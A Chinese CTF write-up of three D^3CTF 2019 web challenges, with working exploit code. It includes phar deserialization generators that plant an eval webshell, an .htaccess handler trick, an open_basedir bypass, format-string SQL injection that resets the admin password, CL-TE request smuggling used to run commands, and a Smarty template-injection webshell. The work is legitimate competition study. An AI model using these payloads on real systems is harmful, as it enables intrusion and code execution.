前言
 没做出来题,下次加油
ezupload
https://github.com/Lou00/d3ctf_2019_ezupload
给了源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 
 | <?phpclass dir{
 public $userdir;
 public $url;
 public $filename;
 public function __construct($url,$filename) {
 $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
 $this->url = $url;
 $this->filename  =  $filename;
 if (!file_exists($this->userdir)) {
 mkdir($this->userdir, 0777, true);
 }
 }
 public function checkdir(){
 if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
 die('hacker!!!');
 }
 }
 public function checkurl(){
 $r = parse_url($this->url);
 if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
 die('hacker!!!');
 }
 }
 public function checkext(){
 if (stristr($this->filename,'..')){
 die('hacker!!!');
 }
 if (stristr($this->filename,'/')){
 die('hacker!!!');
 }
 $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
 if (preg_match("/ph/i", $ext)){
 die('hacker!!!');
 }
 }
 public function upload(){
 $this->checkdir();
 $this->checkurl();
 $this->checkext();
 $content = file_get_contents($this->url,NULL,NULL,0,2048);
 if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
 die('hacker!!!');
 }
 file_put_contents($this->userdir."/".$this->filename,$content);
 }
 public function remove(){
 $this->checkdir();
 $this->checkext();
 if (file_exists($this->userdir."/".$this->filename)){
 unlink($this->userdir."/".$this->filename);
 }
 }
 public function count($dir) {
 if ($dir === ''){
 $num = count(scandir($this->userdir)) - 2;
 }
 else {
 $num = count(scandir($dir)) - 2;
 }
 if($num > 0) {
 return "you have $num files";
 }
 else{
 return "you don't have file";
 }
 }
 public function __toString() {
 return implode(" ",scandir(__DIR__."/".$this->userdir));
 }
 public function __destruct() {
 $string = "your file in : ".$this->userdir;
 file_put_contents($this->filename.".txt", $string);
 echo $string;
 }
 }
 
 if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
 highlight_file(__FILE__);
 die();
 }
 
 $dir = new dir($_POST['url'],$_POST['filename']);
 if($_POST['action'] === "upload") {
 $dir->upload();
 }
 elseif ($_POST['action'] === "remove") {
 $dir->remove();
 }
 elseif ($_POST['action'] === "count") {
 if (!isset($_POST['dir'])){
 echo $dir->count('');
 } else {
 echo $dir->count($_POST['dir']);
 }
 }
 
 | 
 hint1:webroot changes every 10 mins
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 |   public function count($dir) {if ($dir === ''){
 $num = count(scandir($this->userdir)) - 2;
 }
 else {
 $num = count(scandir($dir)) - 2;
 }
 if($num > 0) {
 return "you have $num files";
 }
 else{
 return "you don't have file";
 }
 }
 
 | 
glob爆破web目录

但是减了2,而且glob协议对点在前的不计入,要传三个文件才开始爆破,我猜出题人觉得. 和 .. 也被算进去了?
但是文件不能有<?php 等,phar文件是有<?php的
参考怀秋师傅https://lihuaiqiu.github.io/2019/11/28/2019D-3CTF-%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/
gzip打包,phar://协议会解压,能直接列出/var/www/html 的目录
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpclass dir{
 public $userdir;
 }
 
 $d = new dir();
 $d->userdir = new dir();
 $d->userdir->userdir = "../";
 $phar = new Phar("test.phar");
 $phar->startBuffering();
 $phar->setStub("GIF89A"."__HALT_COMPILER();");
 $phar->setMetadata($d);
 $phar->addFromString("test.txt", "");
 $phar->stopBuffering();
 
 ?>
 
 | 

既然能phar了
__destruct 可以任意写入文件内容
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?phpclass dir{
 public $userdir;
 public $url;
 public $filename;
 public function __construct() {
 $this->filename  =  "/var/www/html/320274ee8b7f2e8a/upload/3552434d3ac4804fb2664474109c04c5/tinmin";
 $this->userdir = '<?php eval($_POST[1]);?>';
 }
 }
 
 $a = new dir();
 @unlink("test.phar");
 $phar = new Phar("phar.phar");
 $phar->startBuffering();
 $phar->setStub("GIF89A"."__HALT_COMPILER();");
 $phar->setMetadata($a);
 $phar->addFromString("test.txt", "");
 $phar->stopBuffering();
 
 | 
之后就会写入tinmin.txt

再传入.htaccess
| 1
 | action=upload&url=data://text/plain,AddHandler%20php7-script%20.txt&filename=.htaccess
 | 
txt 被解析为php
然后传统 bypass open_basedir
https://xz.aliyun.com/t/4720
payload
1=ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);readfile(‘/F1aG_1s_H4r4’);

showhub
题目环境
https://github.com/Li4n0/My-CTF-Challenges/tree/master/D%5E3CTF2019_Showhub
docker-compose.yml 不能改port,改的话,需要修改trafficserver 的remap.config
| 1
 | regex_map http://(.*):port/ http://d3ctf-nginx
 | 
insert 注入
| 1
 | username=admin%1$',sleep(5)) #&password=123123
 | 
能延时成功
insert on duplicate key update 注入
https://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html

格式化字符串逃逸单引号https://paper.seebug.org/386/#0x00
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <?php$sql = "insert into user(username) values ('%s';";
 $args = "admin%1$',sleep(3)) #";
 $args = addslashes($args);
 echo $args.PHP_EOL;
 $sql = sprintf( $sql, $args);
 echo $sql.PHP_EOL;
 echo sprintf( $sql, $args).PHP_EOL;
 //result: insert into user(username) values ('admin',sleep(3)) #';
 ?>
 
 | 
| 1
 | username=admin%1$',0x60) on duplicate key update password=0x38633639373665356235343130343135626465393038626434646565313564666231363761396338373366633462623861383166366632616234343861393138#&password=123123
 | 
admin密码被修改为admin
CE-TE走私
 Server:ATS/7.1.2

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | POST / HTTP/1.1Host: ctf.tinmin.cn
 Pragma: no-cache
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
 Referer: http://39.108.36.103/Manage/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
 Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 76
 Transfer-Encoding: chunked
 
 0
 
 GET /WebConsole HTTP/1.1
 Host: ctf.tinmin.cn
 Client-IP: 127.0.0.1
 
 | 

max-age=0才能成功
保存了一下界面好好看

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | GET /WebConsole HTTP/1.1Host: ctf.tinmin.cn
 Pragma: no-cache
 Cache-Control: no-cache
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
 Referer: http://39.108.36.103/Manage/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
 Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o
 Connection: close
 Transfer-Encoding: chunked
 Content-Length: 52
 
 
 0
 
 
 POST /WebConsole HTTP/1.1
 Client-IP: 127.0.0.1
 
 | 
400 error能说明走私成功了,但是包的构造有问题,需要Content-Type Content-Length,Cookie

一直无回显,最后发现要post /WebConsole/exec,调对了发两次就能成功,大概理解为第一次将第二段包缓存,第二次请求会发过去
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | GET /WebConsole HTTP/1.1Host: ctf.tinmin.cn
 Pragma: no-cache
 Cache-Control: no-cache
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
 Referer: http://39.108.36.103/Manage/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
 Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q
 Connection: close
 Content-Length: 213
 Transfer-Encoding: chunked
 
 
 0
 
 
 POST /WebConsole/exec HTTP/1.1
 Host: ctf.tinmin.cn
 Client-IP: 127.0.0.1
 Content-Type: application/x-www-form-urlencoded
 Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q
 Content-Length: 30
 
 cmd=cat /flag;
 
 | 

抓个包wireshark看一下


第一个请求正常的get

第二次请求时将第一次缓存的post请求发送

Li4n0师傅这道题质量好高
easyweb
非预期解
| 12
 3
 4
 5
 6
 7
 
 | private function sql_safe($sql){if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
 return '';
 }else{
 return $sql;
 }
 }
 
 | 
un{ion 绕waf二次注入
smarty模板注入
十六进制转字符串为
 | 1
 | {{php}}phpinfo();{{/php}}
 | 
payload:
| 1
 | 1' un{ion sel{ect 0x7B7B7068707D7D706870696E666F28293B7B7B2F7068707D7D #
 | 
写入一句话
| 1
 | 1' uni{on sel{ect 0x7b7b7068707d7d6576616c28245f4745545b315d293b7b7b2f7068707d7d#
 | 
预期解
phar